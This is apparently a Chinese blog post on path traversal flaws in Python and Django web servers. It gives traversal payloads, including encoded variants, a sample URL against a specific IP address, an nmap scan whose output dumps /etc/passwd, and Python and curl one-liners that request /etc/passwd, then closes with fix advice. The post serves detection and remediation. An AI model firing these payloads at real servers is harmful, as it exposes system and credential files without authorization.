python和django的目录遍历漏洞

攻击者通过请求

http://220.181.185.228/../../../../../../../../../etc/sysconfig/network-scripts/ifcfg-eth1

或类似URL,可跨目录读取系统敏感文件。 显然,这个漏洞是因为WebServer处理URL不当引入的。
我们感兴趣的是,这到底是不是一个通用WebServer的漏洞。
经分析验证,我们初步得出,这主要是由于开发人员在python代码中不安全地使用open函数引起,而且低版本的django自身也存在漏洞。

1. 什么是目录遍历漏洞

“目录遍历漏洞”的英文名称是Directory Traversal 或 Path Traversal。指攻击者通过在URL或参数中构造
../
..%2F
 /%c0%ae%c0%ae/
%2e%2e%2f

或类似的跨父目录字符串,完成目录跳转,读取操作系统各个目录下的敏感文件。很多时候,我们也把它称作“任意文件读取漏洞”。

2. Python和Django的目录遍历漏洞

内置的模块和Django模板标签,均受过影响。程序员稍不谨慎,就可能写下有漏洞的代码。

在处理GET请求时,我直接取path,然后使用open函数打开path对应的静态文件,并HTTP响应文件的内容。这里出现了一个明显的目录遍历漏洞,对path未做任何判断和过滤。

当我请求http://localhost/etc/passwd时,self.path对应的值是/etc/passwd,而open(‘/etc/passwd’),自然可以读取到passwd文件。

图片

那攻击者为什么要构造/../../../../../../etc/passwd呢? 这是为了防止程序过滤或丢失最左侧的/符号,让起始目录变成脚本当前所在的目录。攻击者使用多个..符号,不断向上跳转,最终到达根/,而根/的父目录就是自己,因此使用再多的..都无差别,最终停留在根/的位置,如此,便可通过绝对路径去读取任意文件。

4. 漏洞扫描

该漏洞扫描有多种扫描方法,可使用nmap的http-passwd脚本扫描(http://nmap.org/nsedoc/scripts/http-passwd.html),用法:

nmap –script http-passwd –script-args http-passwd.root=/test/ IP地址

结果一般是这样:

?

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

Nmap scan report for xx.xx.xx.xx

Host is up (0.028s latency).

Not shown: 996 closed ports

PORT    STATE    SERVICE

1/tcp   filtered tcpmux

22/tcp  open     ssh

80/tcp  open     http

| http-passwd: Directory traversal found.

| Payload: "/../../../../../../../etc/passwd"

| Printing first 250 bytes:

| root:x:0:0:root:/root:/bin/bash

| bin:x:1:1:bin:/bin:/sbin/nologin

| daemon:x:2:2:daemon:/sbin:/sbin/nologin

| adm:x:3:4:adm:/var/adm:/sbin/nologin

| lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

| sync:x:5:0:sync:/sbin:/bin/sync

|_shutdown:x:6:0:shutdown:/sbin:/sbin

111/tcp open     rpcbind

http-passwd默认只扫banner为http的

portrule = shortport.http

鉴于很多Server默认端口不是80 我们可以扫默认为open的状态 甚至可以剔除ssh和ftp的

更改/usr/share/nmap/scripts/http-passwd.nse

portrule = function(host, port)

      return port.state == "open"

end

还可以写几行python脚本,检查HTTP响应中是否存在关键字,只需几行代码,主要是:

conn = httplib.HTTPConnection(host, timeout=20)

conn.request('GET', '/../../../../../../../../../etc/passwd')

html_doc = conn.getresponse().read()

还发现一些小伙伴通过curl来检查主机是否存在漏洞,确实也很方便:

curl http://localhost/../../../../../../../etc/passwd
 

5. 漏洞修复
 

针对低版本的django和python引入的目录遍历,可选择升级python和django。

若是开发自行处理URL不当引入,则可过滤self.path,递归地过滤掉” .. “。 或者是当发现URL中存在..,直接响应403。

查看更多文章,关注下方二维码

图片

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值